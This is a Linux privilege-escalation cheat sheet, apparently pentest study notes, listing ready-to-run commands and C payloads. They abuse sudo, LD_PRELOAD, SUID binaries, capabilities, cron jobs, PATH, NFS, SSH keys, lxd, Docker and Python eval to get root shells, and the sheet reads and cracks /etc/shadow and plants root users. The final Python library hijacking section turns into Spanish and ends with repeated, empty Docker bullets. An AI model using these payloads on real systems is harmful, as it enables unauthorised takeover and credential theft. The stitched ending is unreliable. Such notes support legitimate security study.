Linux Privilege Escalation

Here are some techniques for achieving privilege escalation on Linux systems:

Abusing Sudo execution permissions

  • Verify which commands can be run with sudo

$ sudo -l

#Example results
User user may run the following commands on the host:
    (ALL) NOPASSWD: /usr/bin/find

The find command is used as an example, can be any other command


  • Check Sudo abuse for the binary on GTFOBins and use it on the target machine to get privileges

sudo find . -exec /bin/sh \; -quit
#This will return a root shell

Abusing LD_PRELOAD (Library Hijacking)

  • Verify the LD_PRELOAD option in env_keep

sudo -l

#Example results
Matching Defaults entries for user on ip-0-0-0-0:
    env_reset, env_keep+=LD_PRELOAD
  • Write a simple script in C

shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

  • Then compile into a shared library

gcc shell.c -fPIC -shared -o shell.so -nostartfiles

The extension .so represents a shared object


  • Run a sudo command specifying the LD_PRELOAD option with the script

sudo LD_PRELOAD=/home/user/ldpreload/shell.so $command
#This will prompt a root shell

$command is any command with sudo permissions found using sudo -l

Abusing SUID/SGID permissions on reading binaries

  • Verify executables with special permissions

find / -type f -perm -04000 -ls 2>/dev/null | grep bin
#Example results
1111  1  -rwsr-xr-x  1  root  root  1111  Feb  10  2030  /usr/bin/base64

base64 is used as an example, can be any other executable with data visualization properties, such as nano,cat, vim, nvim, etc...


LFILE=file_to_read
base64 "$LFILE" | base64 --decode

  • Abuse privileges to read important files and copy its content locally

base64 /etc/shadow | base64 --decode #Display content of shadow    
base64 /etc/passwd | base64 --decode #Display content of passwd
touch shadow.txt #Create on the host machine and copy the content of shadow
touch passwd.txt #Create on the host machine and copy the content of passwd

  • Use John to make a crackable file and crack passwords

unshadow passwd.txt shadow.txt > crack.txt
john -w=/usr/share/wordlists/rockyou.txt crack.txt
#If possible to crack, this will display the password of users

Abusing SUID/SGID permissions on writing binaries

  • Verify executables with special permissions

find / -type f -perm -04000 -ls 2>/dev/null | grep bin
#Example results
1111  1  -rwsr-xr-x  1  root  root  1111  Feb  10  2030  /usr/bin/nano

nano is used as an example, can be any other executable with the same reading properties, such as vim, nvim, etc...


  • Abuse privileges to create users with privileges

openssl passwd -1 -salt AAA $password    #Create user hash
nano /etc/passwd
$username:$hash:0:0:root:/root:/bin/bash #Add this at the final of /etc/passwd
su $username                             #Switch to the new user

$username is an arbitrary name and the /root:/bin/bash specify we are requesting a root shell

Abusing capabilities on binaries

  • Verify executables with set capabilities

getcap -r / 2>/dev/null
#Example results
/home/karen/vim = cap_setuid+ep

vim is used as an example, can be any other executable


  • Check binary capabilities abuse on GTFOBins

./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'  #For python3

  • Go to the binary location and execute the payload

cd /home/karen/vim
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#This will give you a root shell

Abusing existing cron jobs

  • Verify the executables set as cron jobs

cat /etc/crontab
#Example results
* * * * * root /home/user/file.sh

file.sh is an arbitrary name used as an example. It can be another bash file or executable.


  • Go to the file location and change the content to get a reverse shell

cd /home/user
nano file.sh    # The content will be replaced with a reverse shell script

To see some example scripts for a Reverse Shell, you can go here


  • Create a listening port with netcat to receive the shell

nc -nlvp $port
#You will receive a root shell

$port is the port specified in the reverse shell script

Abusing deleted cron jobs

  • Verify executables set as cron jobs

cat /etc/crontab
#Example results
PATH:/home/user:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
...
* * * * * root file.sh
  • file.sh is an arbitrary name used as an example. It can be another bash file or executable

  • We have to keep in mind the path of the /etc/crontab file


  • Verify if the executable was deleted and create one with the same name

locate file.sh    #This will show nothing, which means that it was deleted
cd /home/user
nano file.sh    # The content will be a reverse shell script

Note that the folder we navigate to is the one that was listed in /etc/crontab


  • Create a listening port with netcat to receive the shell

nc -nlvp $port
#You will receive a root shell

$port is the port specified in the reverse shell script

Abusing the PATH environment variable (Path Hijacking)

  • Search for any writable folder and compare it to PATH

find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
#Example results
etc/udev  home/user  run/dbus  snap/core  sys/fs  tmp  usr/lib  var/crash

echo $PATH
#Example results
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
  • We note there is a home folder where we can write

  • In case we haven't found anything, we have to write to /tmp


  • Add the folder to PATH and go to this location

export PATH=/home/user:$PATH
echo $PATH   #To check if it was added
cd /home/user

  • Write a simple script in C to search for an executable

path.c
#include <unistd.h>

void main() {
    setgid(0);
    setuid(0);
    system("root");
}

The system will search for an executable named root, which is an arbitrary name


  • Compile the script and give it SUID permissions

gcc path.c -o path -w -static
chmod u+s path
ls -l     #To check if it has a permission for the user

  • Create a file to ask for a shell and give it permissions

echo "/bin/bash" > root #Asking for a shell
chmod 777 root
ls -l    #To check it has all permissions

Note that it is the same executable we called previously on the C script


  • Run the path script to get privileges

./path
#This will return a root shell

  • In other cases, when an application with SUID permissions is calling a binary and isn't specifying its absolute path, we can just create an arbitrary file with the same name, and add it to the path

echo "/bin/bash" > $binaryName #Arbitraryly to obtain a shell
chmod +x $binaryName
export PATH=/home/user:$PATH #Specifying where our file was created
# Then run the application with the SUID permissions

Abusing the NFS misconfiguration

  • Check the NFS configuration, and search for the no_root_squash value

cat /etc/exports
#Example results
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

  • On the host machine, check for mountable shares

showmount -e $targetIP
#Example results
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *

  • On the host machine, create a shared folder with the target

mkdir /tmp/Attack
sudo mount -o rw $targetIP:/home/ubuntu/sharedfolder /tmp/Attack

  • Write a simple script in C to ask for a shell

nfs.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
    return 0;
}

  • Compile the script and give it SUID Permissions

cd /tmp/Attack
nano nfs.c    #Create the script as above
sudo gcc nfs.c -o nfs -w -static
sudo chmod u+s nfs
ls -l     #To check if it has permissions for the user

  • On the target machine, run the script to get privileges

./nfs
#This will return a root shell

Abusing SSH keys

  • Check if we have reading permissions on the SSH private keys of a user

cat /home/$user/.ssh/$keyfile    #For a user
cat /root/.ssh/$keyfile          #For root user

Standard key files are called id_rsa


  • Copy the keys to a file, assign permissions to the file, and use it to log in using the key

nano $filename #Copy here the keys
chmod 600 $filename
ssh $username@$IP -i $filename

Use chmod 600 id_rsa to assign restrictive permissions, and SSH does not block this method


  • When having writing permissions on the /root/.ssh/ directory, we can generate an SSH key with the current user and pass it to the system

ssh-keygen -f $keyfile

This will generate the file with a private key for the user and a .pub file with a public key


  • Pass the public key to the authorized keys file of the root user

cat $keyfilename.pub >> /root/.ssh/authorized_keys

  • Use this to log in as root using the key

ssh root@$IP -i $keyfile 

Abusing lxd

  • Verify lxd is installed on the system

lxd --version

  • Check if the lxd group exists

groups

  • Add the current user to the lxd group (in case it isn't there yet)

usermod --append --groups lxd $user

  • On our machine, install the required lxd components

sudo apt install lxd
sudo apt install zfsutils-linux

  • Activate the lxd service and start it

sudo systemctl start lxd.service
sudo lxd init

  • Download an image or build it if necessary

wget https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder

We use an image for Alpine, but any other light-weight distro can be built and used


  • Mount a server to import and download the image to the target host

# On our machine
python3 -m http.server $port

#On the target machine
wget http://$IP:$port/$filename.tar.gz #The one that comes with the repository

  • On the target, import the image and use it to create a container specifying high privileges and mounting the complete filesystem

lxc image import $imageroute --alias $imagename
lxc init $imagename $containername -c security.privileged=true
lxc config device add $containername host-root disk source=/ path=/mnt recursive=true

  • Start the container, ask for a shell from it, and access the mount point of the filesystem

lxc start $containername
lxc exec pwned /bin/sh
cd /mount

The shell will be generated as the root user, having complete permissions on the filesystem

Abusing the Python eval function

The eval function in Python is well-known for being vulnerable, as it can act in a global scope. If there isn't proper sanitization of the input, this can be leveraged to execute arbitrary system commands.

  • We find a code that is run as the root user and uses the eval function improperly

__import__('os').system('/bin/bash') #Insert in the part where eval will act

  • If it can't be inserted directly, we can add a validation that returns true, and then the payload

1+1 == 2 and __import__('os').system('/bin/bash')

Abusing Docker configurations

This could be used to escape a Docker container and gain access to the host system or to directly escalate privileges

  • (Optional) Try to determine if we are in a container environment

cat /proc/1/cgroup # Check if the output contains docker
grep -iE 'docker|lxc|kubepods' /proc/1/cgroup #Check also other type of containers
ls -la /.dockerenv #Check if there is a configuration file at the root folder
cat /etc/hostname #Check if we see a hostname with hash values
ps -p 1 -o comm= #Check if the PID 1 process isn't the system init

  • If the container was started with --privileged we could mount the host filesystem

mkdir /tmp/host
mount -t proc none /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host /bin/bash

  • We can also abuse the Docker socket if it's exposed

docker -H unix:///var/run/docker.sock images #If this works is a sign
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host

  • We can also abuse capabilities to mount the file system

capsh --print #Check if CAP_SYS_ADMIN

mount -t tmpfs none /mnt
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host

Abusing Python Libraries (Python Library Hijacking)

Esta vulnerabilidad permite crear un archivo malicioso de Python, con el mismo nombre de la librería que se importa en un script Objetivo. Esto puede ser abusado dado que Python interpreta primero el archivo creado en el mismo directorio, antes de buscar la librería integrada.

Sabiendo esto, se creó un archivo base64.py con un payload que ejecutara un comando del sistema y poder obtener acceso con privilegios.

  • (Optional) Try to determine if we are in a container environment


  • If the container was started with --privileged we could mount the host filesystem

Last updated